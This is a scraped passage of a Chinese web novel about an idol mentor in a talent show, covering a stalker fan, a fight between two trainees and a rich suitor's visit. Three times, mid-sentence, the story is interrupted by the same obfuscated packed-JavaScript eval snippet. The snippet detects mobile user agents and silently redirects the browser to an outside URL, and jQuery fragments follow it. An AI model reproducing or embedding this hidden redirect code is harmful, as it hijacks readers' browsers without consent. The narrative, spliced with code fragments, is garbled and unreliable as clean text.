;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093477|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸发红,登时一阵心虚。
从那以后,叶格桑就再没搭理过他……
哪怕是一句话,都没再跟他说过。
卫烽正被强烈的心虚和懊悔包裹,冷不丁听见陆锦丰细如蚊呐的一句话,那声音微弱而低哑,以至于他以为自己听错了。
“你明明……对谁都是夸,那些垃圾有什么好?为什么你不喜欢我——”
格桑没预料到自己随口的质问会换来这样的回答,有些错愕。
练习室里光影变幻,那段非常不适宜公放的小视频还在兀自循环轮播,格桑随手退出来,投影画幕回到了主界面,室内那股暧昧不明的氛围也随之消弭。
陆锦丰压抑的话语里带着隐约的控诉。
和极度的愤懑、不甘……嫉妒。
此人的履历分明,格桑想过也许是因为男主卫烽厌恶自己,陆锦丰才搞出这桩事来恶心恶心他,却没想到是出于他的私人情绪。
这让格桑准备好了的话术无处发挥,他随口安抚道:“节目里有这么多练习生,我作为导师并不是每一位都有机会深入接触和点评,但你们每一个人的情况我都看在心里,也为你们的进步开心,这不是你做这种事的理由。”
格桑如今摆起导师的姿态来已是入木三分,闭着眼睛都能信手拈来了。
拿出“导师”的架子,才能推开这些狂妄的、试图突破安全界限的学员。
……
陆锦丰终于缓慢地抬起头,自发缝间仰视他的导师,也是这个他默默关注了三年的漂亮男人。
曾经他跟叶格桑的距离是社会底层的素人和光芒璀璨的明星,他在炎炎夏日好不容易抢到一个叶格桑演唱会志愿者的名额,却只能眼睁睁看着那人乘坐的保姆车从自己面前驶过,车窗上贴着严丝合缝的黑色防窥窗贴,一条缝都不会为他敞开。
后来他不甘心,恰逢叶格桑工作室招勤杂工,他年龄不够,费尽心思捏造了个假身份应聘了,但很快就收到了对面拒绝的消息,对方甚至连聊都懒得跟他聊一句。
再后来……他得知叶格桑有可能来这个选秀节目当导师,便在没有任何基础的情况下报了名,把仅有的一点钱钱全用来参加培训,最终竟真成功了,让他以个人练习生的身份通过了节目组面试。
这是这些年来,除了机场接机、酒店蹲守等不太上得了台面的行径以外,陆锦丰第一次以堂堂正正的身份,离叶格桑这样近。
他小心翼翼,又满怀期待。
期待着那个他暗暗关注了多年的人能多看自己一眼,能对自己微笑,能跟自己对话,能夸赞他这么久以来拼命努力练习的成果……
他要的很少。
他不过只是,想要那人的目光多在自己身上停留一刻。
可是他最后得到的,只有叶格桑的批评和无视。
相反,某些人却可以轻而易举地得到他垂涎已久的珍宝。
这不公平。
卫烽在门口听见了陆锦丰阴冷的声音——这人似乎也不打算装阴郁胆怯小老鼠了。
“格桑,你是不是喜欢那个卫烽?或者是商承佑?”
卫烽:哈?
他对陆锦丰的后半句话选择性失聪,内心狂跳了几下。
真、真的么?
21. 第二十一章
卫烽正克制不住地心花怒放,就听见里面叶格桑道:“为什么这么问?”
陆锦丰:“……因为,我一直在看着你。”
“这样。”
卫烽从窄窄的门缝中窥视,他的小导师从神情到语气都无比平淡,亦没有针对陆锦丰的猜测给出任何答案。
……他到底在期待些什么。
…………他又到底在做什么?
卫烽自己也搞不明白自己了。
似乎自从见到叶格桑第一眼,自从初舞台那支胡乱拉着叶格桑跳的舞开始,一切就都不对劲了。
这些天来他满脑子都是小导师的身影,那人的一颦一笑一个眼神,哪怕是嘴角的那点小痣,都能勾得他心潮涌动、血气沸腾。
他完蛋了。
……
格桑能感觉到陆锦丰刘海下的视线变得愈发沉醉和贪婪,正一瞬不瞬地紧盯着自己。
同时脚步也在不自主般地一步步向他靠近。
他想了想,冷静地问系统:【这个人到底是怎么回事?他不是卫烽的小弟么,这是在发什么疯?还是你们系统又出故障了?】
系统:【回禀宿主,是这样的,虽然原著里没有很详细地写过,但是陆锦丰在成为卫烽的小弟前其实是您的粉丝来着。】
【……粉丝?】格桑瞥了一眼陆锦丰仍在向他靠近的脚步,淡淡道,【这是私生粉吧?】
系统:【确实。】
系统老实道:【在原来的剧情走向里,似乎是因为叶格桑批评了他几次,他受了刺激,他的计划是通过这种比较极端的方式来引起您的注意,得到跟您单独相处的机会,然后再主动出来公布真相辟谣,哪怕他自己被骂死被网暴都不在乎。】
格桑:【但是后来的实际剧情走向是——这个视频一直没有辟谣,他此后成了卫烽的小弟,而叶格桑身败名裂。】
系统挠挠头:【是的,老奴也很疑惑。】
其实没什么好疑惑的。
说到底,这毕竟是一本男频娱乐圈升级流爽文,所有角色、所有剧情存在的意义都是为了男主跟读者能爽到。
【叶格桑】既是反派,是那座需要被男主打倒的山峰,是那个用来激起读者肾上腺素的打脸对象,那就注定了无人会站在他这边,即便是曾经在他身边的人,最终也会离他而去。
包括他的粉丝,他的家人。
原书就在格桑意识中,可以随时查阅,他一目十行地扫过关于陆锦丰的剧情,发现真正导致他黑化并逐渐倒戈向男主的,是叶格桑连续几次在他的卖力表演后给出的刻薄评价。
原文:
【这一刻,他才真正意识到,这个他默默关注、如履薄冰爱了三年的人本性是何等低劣不堪,他站在舞台中央的聚光等下,只觉得所有人的视线都仿佛带着嘲讽,他无地自容,恨不得立马原地消失。
【也就是在此时,一只手不以为意地拍了拍他的肩膀,他听到另一个人不羁的声音:「别放心上,兄弟,很棒的演出。」】
格桑:……
他嘴角抽了抽。
行。
原来他只是陆锦丰跟男主play的一环哈。
他记住了。
格桑抬起头。
投影仪冷色的光柱里能看见空气中飞舞的细小尘埃,那蓝色的光柱一部分打在大屏幕上,一角则落在导师讲台前,落在格桑的身上。
冰蓝的光柱,暗红的衣服,白皙的皮肤被光映得泛出蓝色,原本柔和清丽的五官显出些许妖冶来。
陆锦丰不知什么时候已经走到了距离格桑仅一两米的位置,正望着格桑出神。
二人一站一坐,格桑抬起下巴,微微一笑。
“过来。”
他高高在上,就像曾经的小皇储对自己最虔诚的追随者施与亲吻自己手背的恩典。
陆锦丰被蛊惑了一般,痴痴凝望着格桑,屋里有些热,他额头出汗,将过长的刘海卷了上去,露出其下完整的眉骨,其实长得不错,也难怪会通过这千军万马过独木桥的节目面试。
冰蓝的底色下,格桑能在那双眼中读出许多东西。
迷恋,爱慕,仰望,痴迷;
自卑,自负,惶恐;
……压抑,渴求,贪婪;
欲望。
执迷不悟。
男生无意识地又向前跨出一步,同时格桑像夸奖乖狗狗那样温和地说道:“之前我确实批评了你,但那只是对事不对人,是因为你的练习不够,才导致表演不如预期。
“但是或许没来得及对你说,其实你的初舞台我很喜欢,以你的练习时长来说,挺有天赋的——你是为了我才来参加这个节目的?”
“……是。”
“那么,我很开心,很高兴你能因此发掘到自己的天赋,不过——”
格桑刚想说【不过那个视频的事情,希望你能明白自己做错了,也能明白这件事让我很困扰,还有窥探我私人行程的事请你不要再做了。】
或许有蛊惑的成分,因为他的确长于此道。
但他说的话也都是真的,夸奖陆锦丰天赋是真,为视频的事生气困扰也是真,希望陆锦丰别再执迷于窥探自己的私生活、回到正道,同样是真。
他的确是来这个世界做任务的。
但既然职责如此,那么他也会尽量做一个称职的导师。
陆锦丰痴痴凝望着他,甚至本能地抬起手,小心翼翼地想要触碰格桑的手指。
然而就在此时,就听见练习室门口“砰”的一声响,不知是谁猛地推开门冲了进来。
格桑未及反应,面前就是一阵劲风刮过,下一刻,陆锦丰被按倒在地,来人的背影高大,肩宽腿长,挥起手臂,一拳狠狠揍在了陆锦丰脸上。
这一切太过突然,这人的动作也太快,格桑在感觉到对方冲过来的时候就本能地向后蜷起身体,闭上了眼睛。
等他重新抬头,定睛一看,这人已经第二拳揍到了陆锦丰另外半边脸上。
陆锦丰的鼻血瞬间就涌了出来。
每个学员的运动服背后都贴了名牌,名字是他们自己写的,格桑赫然看到两个偌大的、狂放不羁的大字:卫烽。
格桑:“……”
陆锦丰没有卫烽那样高大健壮的体格,还落了后手,挣扎着想起身却起不来,又被卫烽摁了回去,一拳狠狠落在他的下巴上。
陆锦丰自始至终哼都没哼一声,但在这对准了他下巴扎扎实实的一拳后,他仰着头躺在地上许久,只艰难地抽动手脚。
卫烽拳拳到肉,是一点都没留手,格桑给吓了一跳,从高脚凳上跳下来:“卫烽,住手。”
血气方刚的青年人,右手仍握着拳,高高扬起,随时准备落下。
“听见没有?我叫你住手。”
格桑迅速镇定下来,抬高声音,“这里是节目录制营地,你是未来会出道的艺人,我是你的导师,不想造成更严重的后果就给我停下来。”
卫烽没有回应,甚至没有抬头,不过举着的拳头终究没有落下去。
卫烽的这一丝犹豫被陆锦丰敏锐的捕捉到了,刚刚卫烽那一拳已然把他的下巴打错位了,此刻陆锦丰的整个下颌跟脸颊全都肿了起来,十分骇人。
男生的嘴里发出“嗬嗬”的急促气喘声。
要不怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093478|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说他是一条烈性犬呢?陆锦丰竟顶着这样的伤势,猛地一个翻身跳起来,不管不顾,直接挥拳照着卫烽的鼻梁就砸了上去。
所幸卫烽反应够快,及时闪身躲开了,即便如此,还是被击中了侧脸。
卫烽被激怒了。
两个年轻力壮的男生就这么像两头斗牛一样红着眼扭打在一起,卫烽胜在体格,而陆锦丰也没有完全落入下风——他胜在够不要命。
格桑几乎能听见年轻男人的拳脚夹带着的风声。
这两头倔牛凶狠地打着架,同时还刻意往远离格桑的方向移动,以免伤到他。
节目录制期间演职人员之间出现重大暴力行为,这件事的性质可以很严重。
如果有心人将此事闹大,直接被叫停节目整顿也是有可能的。
格桑很确定在这个世界线的原著中绝对没有发生过这样的事情,这世界本就是个娱乐圈升级流文,男主卫烽初期就是靠这档节目积攒人气,在娱乐圈初步崭露头角的,万一节目没了,世界线估计就直接崩塌了。
格桑的太阳穴突突跳。
气的。
这一个两个的,都尽给他找事。
他是反派,可不是他们主角团的保姆。
【叮】
【主角阵营七号陆锦丰立场波动,脱离主角阵营。】
【世界线主题持续变动中……】
上一次格桑听到世界线主题变动的提示时,正因为药物的缘故而意识迷离,因此没来得及多探究。
这次他便问系统:【这个世界线主题变动是什么意思?】
系统冷汗:【那个,老奴也不太清楚,感觉像是什么新的系统更新呢。】
格桑面无表情:【不会是新的bug吧。】
系统:【(不敢说话.jpg)表情包】
格桑抬头,目视着那两个血气方刚打成一团的学员,不再劝架,只静静看着他们互殴,掏出手机,给总导演打了个电话,那边很快接通。
“喂?于姐,你在忙吧,这边出了点小岔子,可能需要你出面来处理……”
总导演于心曼那边的声音十分嘈杂,一听就是在跟各路人马指挥协调,匆忙间接了他的电话。
结果格桑一句话还没说完,就被于心曼打断了,“哎,格桑,你这个电话打得正好,我正要联系你呢!咳咳,我知会你一句啊,卫总今天来探班了,呃,他是不是来找你的?”
“……”格桑嘴角抽了抽,随即瞥了眼已经移动到练习室另一边的那两头牛,扬起一个微笑,“好的,谢谢于姐告知——那再好不过了,麻烦你告诉一下卫总,练习室这里有人找他,希望他能尽快过来一下。”
格桑说完这句话就准备挂电话,那头于心曼却急道:“诶诶,我现在就去跟他说,你先别挂!”
格桑只好移开了已经快要落到红色挂机按钮上的手指。
等了片刻,于心曼那边又响起手机被重新拿起的“卡啦卡啦”的噪声,格桑叫了声,“于姐?”
那头却不是于心曼的声音。
嘈杂的环境音中,是夹杂着些许沙哑的沉稳男声。
“是我。”
卫珩。
格桑挑眉,到了嘴边的话戛然而止。
叮叮咚咚的杂音,大约是在搭建舞台,时不时还有工作人员的大呼小叫,综艺节目的录制过程就是这样,台前艺人光鲜亮丽的一分钟,是台下无数幕后人员数天加班加点分秒必争的成果。
对方说下一句话时声音明显清晰了些,大约是找了个清净点的地方把手机拢在了嘴边说的:
“那个希望我能‘尽快过去’的人,是你吗?”
22. 第二十二章
格桑淡道:“卫总,您来了自然就知道了。”
卫珩那边顿了顿:“怎么跟我这么生分?”
格桑想说不然呢,你不会以为我们很熟吧。
但目光飘到旁边,那两人大约体力逐渐耗尽,斗殴告一段落,终究还是卫烽胜了一筹,他此时正反扭着陆锦丰的胳膊,一边制住敌人,一边喘着粗气。
注意到格桑在往他们那看,卫烽愣了下,然后“唰”地朝另一边扭过头。
不过格桑眼尖,早在那之前就看清这人挂了多少彩了。
再看另一个,身上的伤比卫烽只多不少,恐怕骨折跟软组织挫伤少不了,格桑懒得再同卫珩纠缠这些,又重复了一遍:“您快过来吧,B2练习室,顺着选手后台东边的长廊一路往前走就是,就这样,先挂了。”
……
卫珩皱眉拿开手机,屏幕上显示对方已挂断,还“嘟嘟嘟”地响了几声。
他刚刚特意快步走到后台这个僻静处的脚手架底下,只想着要听清格桑的声音,也让他能听清自己说话。
为此还特意弓着身子,将手机护在自己两手拢成的“防护罩”中间。
卫珩身上的定制西装用的是金贵的布料,设计师制作它时怕是万万没有想到它未来的主人会穿着它钻到这种犄角旮旯,已然起了褶皱。
卫珩随手拍了拍西装,不当一回事。
他回到前台,把手机还给总导演于心曼:“格桑叫我去练习室一趟,我先过去,你们忙。”
“哎,好的好的,卫总您忙您的……呃,代我问格桑——啊不叶老师好!”
卫珩早已大步远去。
于心曼后面新来的小pd咋舌:“不愧是叶格桑,居然连这种等级的大佬都能搞定,哈哈,看来那个圈里疯传的小视频的内容,根本不足以概括他万一啊。”
“别胡说八道。”于心曼肃然训斥,“想在这个圈子里走远一点,就学会管住嘴,多做事。少八卦少打听少评论,懂么?”
小pd冷不丁被训得一激灵,缩了缩脖子:“知……知道了于姐……”
.
“打够了么?”
格桑好整以暇地在窗台上坐下,翘起腿,足尖在地上轻点。
卫烽跟陆锦丰都在呼哧呼哧地喘粗气,身上的选手运动服皱成一团抹布,沾满了灰尘。
卫烽率先松开手,狠狠推开了陆锦丰。
不过他依然没有转头看叶格桑,青年狼狈地低着头,扯起衣服下摆擦脸上的血痕。
格桑继续道:“好好的为什么打架?知道在这里打架会有什么后果么?”
他是看着卫烽说的,毕竟此事因他而起。
卫烽低着头不回话。
格桑也不逼他,只是平静叙述,“节目从前期准备、策划、申报,到搭建营地,招募人员,再到彩排联排正式录制剪辑播出运营,要耗费多少人力物力你们算过么?
“有的幕后人员几天几夜不合眼连续工作,就为了呈现出最好的节目效果;你们的选管大多都是学生,为了一份实习经历,天南海北地跑过来,领着微薄的薪水做24小时待命的工作。
“你们打上这么一架,可能导致几百个人几个月白干,这就是你们要的?”
……
卫珩步速很快,没多久就从舞台走到了练习室门口,刚找到B2练习室准备进去,就听见了格桑这么一段话。
男人的脚步微微一顿。
克林徳酒店那晚的事,他也得承认有一时忘情的因素,的确是超脱了理智范围。
但是……
软玉温香在怀,实际体会了才能知道那是多么美妙的事。
直达灵魂的战栗感让他食髓知味,甚至当天一早醒来,看见身旁熟睡的叶格桑,卫珩此生头一次产生了一种岁月静好,流风归岸之感。
也是这份安宁感,让他压抑住了按着人再来几次的原始欲望。
这个人让人上瘾。
不论是肉.体,还是精神。
他这人从不内耗,想做的事就去做,想要的人就得到,因此他丝毫没有纠结,就已经开始考虑未来要怎么公布他们俩的事。
不过卫珩倒也没有完全被天降的美人冲昏头脑,那天叶格桑走后,他让手下去帮忙查了这个小艺人的个人信息。
只用了一个小时,从叶格桑的家世,到从小到大的成长历程——上过的学校住过的地方,再到他进入娱乐圈以后的经历……就全都汇总得齐齐整整,送到了卫珩的面前。
包括那个目前仅在圈内传播的小视频。
私生活混乱,专业能力欠佳,资本的孩子,黑红顶流……
卫珩只扫了一眼就略过了那些关于叶格桑的舆论,看见那个视频,道:“这不是他。”
身材虽像,但瘦得柴了些,一些小动作也完全不同,糊弄糊弄别人可以,要糊弄他这个“实际体验”过的人是不可能的。
想伪造这样的东西……终究是画虎画皮难画骨。
至于别的传闻。
他想要的人是怎样的人,他自会作出判断,不需要旁人来定夺。
事实也证明,他的眼光没错。
屋里格桑坐的窗台正对着练习室大门的方向,他说完刚刚那番话,一抬头就看见了门口的男人。
格桑跳下窗台,拍拍手上不存在的灰尘:“卫总,既然来了就进来说话,站在门口听墙角不合适吧。”
原本一直低着头不做声的卫烽听见格桑这句话,猛然抬起头,果不其然,他小叔卫珩正拢着西服衣领从门口走进来,两人无意中视线交汇,卫珩明显一愣。
他看了眼自家好侄儿脸上明显是打架遗留的红肿乌青,又瞥了眼旁边那个伤得比卫烽还严重的,问卫烽:“你来参加这个节目就是干这个的?”
“……”卫烽又抹了把脸,千不想万不想,还是让叶格桑看到了自己这副蠢样,“一两句话说不清,你又来这里做什么?”
卫珩没有回答他,转向格桑:“你就是为了这件事叫我来的?”
“他叫你——”卫烽如梦初醒,对格桑,“你知道我跟卫珩……?”
安静的练习室,格桑靠在窗台边,眼前三个人的目光都齐齐落在他的身上,惊诧的,淡然的,阴翳的。
又都是藏匿着隐晦欲求的。
系统:【主角阵营二号卫珩爱慕值:+8】
【男主卫烽雄竞值:-20】
【男主卫烽雄竞值已清零】
【男主卫烽雄竞值转移-对「陆锦丰」雄竞值:+10】
【陆锦丰爱慕值:+10】
【陆锦丰爱慕值已达到上限】
【陆锦丰雄竞值转移-对「卫烽」雄竞值:+20】
【男主卫烽与「陆锦丰」关系降级:萍水相逢—水火不容】
真是一出好戏。
格桑置身事外地看着眼前这个场面,听着系统提示,忽然想嗑点儿瓜子。
卫烽在主角团中最重要的小弟、最忠诚的狗,这两人才不过萍水相逢,直接就关系破裂了。
虽然不知道他们二人之间到底有什么过节,但至少这个结果,对于格桑来说是个好事。
其他的,他倒也不怎么关心。
至于另一边这叔侄俩……
似乎也有隐隐约约的火药味。
格桑道:“那天在克林徳酒店无意中听到的,知道了你跟卫总的关系,正好今天卫总来探班,就叫他过来了。”
“探班?”卫烽皱起眉头。
卫珩自然是不可能来探他的班的,那他……是来探谁的班?
不要跟他说是因为节目总赞助是卫氏旗下的企业,卫氏旗下企业多了,有什么事是需要集团总裁亲自出马的?
之前那个让卫烽不愿深想的猜测卷土重来,可他甚至不知自己该以什么身份质疑这二人的关系。
卫珩却没有卫烽那么多的顾忌。
他直白地对卫烽说:“你应该已经过了青春期了,我得把话说清楚,我这次扛着家里的反对跟你合
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093479|179697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作是因为我觉得你有合作的价值,但我不会跟一个一冲动就打架斗殴惹是生非的青少年合作。
“还有,不管这件事的起因是什么,你该管住你的脾气——如果节目真因为这种无聊的事被叫停,我们作为总赞助会有很大损失,这点道理你应该不会不明白吧?”
“…………”
卫烽必须得承认,卫珩这话说得一点毛病都没有,换作平时冷静状态下的他,一定能听得进去,也会跟卫珩道歉。
可是现在,他浑身滚烫——不只是打架造成的伤口,更是在叶格桑面前被卫珩当个不懂事的小孩一般教育的羞耻。
没错,他是卫家这一代的嫡系继承人,全家所有人曾经最为看好的未来掌权人。
可现在,在真正的掌权人卫珩面前,他就是个毛都没长齐的“青少年”。
即便这两人真的…………
卫烽飞快地看了一眼叶格桑的方向。
——他连作为男人,跟卫珩公平竞争的资格都没有。
“这件事我之后会让人调查前因后果,卫烽给你添麻烦了。”卫珩对格桑温和道。
“嗯。”格桑想了想,随手一指陆锦丰,“这事给他个教训就行,暂时没扩散影响,别太难为他。”
说完没有给其他人接话的机会,格桑扶了扶额头,声音有些懒倦,“我累了,得先走了,辛苦卫总跑这一趟,后续的事情就麻烦您跟于姐了。”
“我送你。”卫珩说。
“不用,我经纪人跟助理就在隔壁休息室等着。”格桑一口回绝,“今天忙得有点久了,我需要休息,你们叔侄俩也很久没见了,难得的机会,既然卫总来探班了,就好好跟您侄儿聊聊吧,回见。”
格桑边说话边往外走,卫珩还想叫住他,但格桑的经纪人Roy仿佛在这个房间放了个耳朵一般准时出现在门口,对卫珩笑笑:“卫总,我们家格桑老师身体不好,要休息啦,您忙呗。”
说完就扶住格桑的胳膊,很快消失在了卫珩等人的面前。
……
格桑不想跟卫珩多说是真的,当然累也是真的,他的电量早已告罄,续航严重不足,所以Roy扶着他,助理拿上随身物品,一行人就径直往外面停车场去了。
进了停车场,Roy跟助理先行去放东西,然后让司机把车开过来,这样格桑能少走几步路。
格桑就独自等在营地后门处,直到背后有人叫他:“叶格桑!”
又是卫烽。
格桑回头,电量为0的他不是很有耐心,挑眉:“还有什么事?”
卫烽直接大步跑到他跟前,也不在乎脸上的伤痕了,目光灼灼地看着他,手下意识想抓住格桑的胳膊,被格桑巧妙地避开了。
卫三少也没强求,这位男频大男主顶着一张被揍得青紫的脸,小声道:“那天在后台堵你的事……抱歉……我就是一时上头——”
“没事,我没放在心上。”格桑淡淡道。
“那你——”
卫烽抬高了些声音,实在按捺不住,想问格桑那天跟卫珩到底发生了什么,另一边忽然响起汽车鸣笛声,是格桑的保姆车来了,格桑转头看过去,朝车子招招手。
他身上暗红色的衬衣随着动作向上提起,露出了一点雪白的腰线,卫烽想控制自己,但他那该死的眼睛总不自觉往这种地方飘。
然后她就看到了格桑后腰上明显的红色指痕。
那是被某人的手狠狠掐过的痕迹。
卫烽大脑一片空白,猛地抓住格桑的胳膊:“你腰上……是什么?”
“腰上?”格桑不明所以,低头看去,这才注意到那道红痕。
他扯了扯嘴角,“你的好小叔捏的。”
与此同时,格桑的保姆车已经开到了他们跟前,助理下车给格桑打开后车门,漂亮的小导师淡淡扫了呆若木鸡的卫烽一眼,将他的手从自己胳膊上拿了下去。
格桑跨上后座,车门当着卫烽的面“啪”地合上,黑色保姆车重新启动,扬长而去。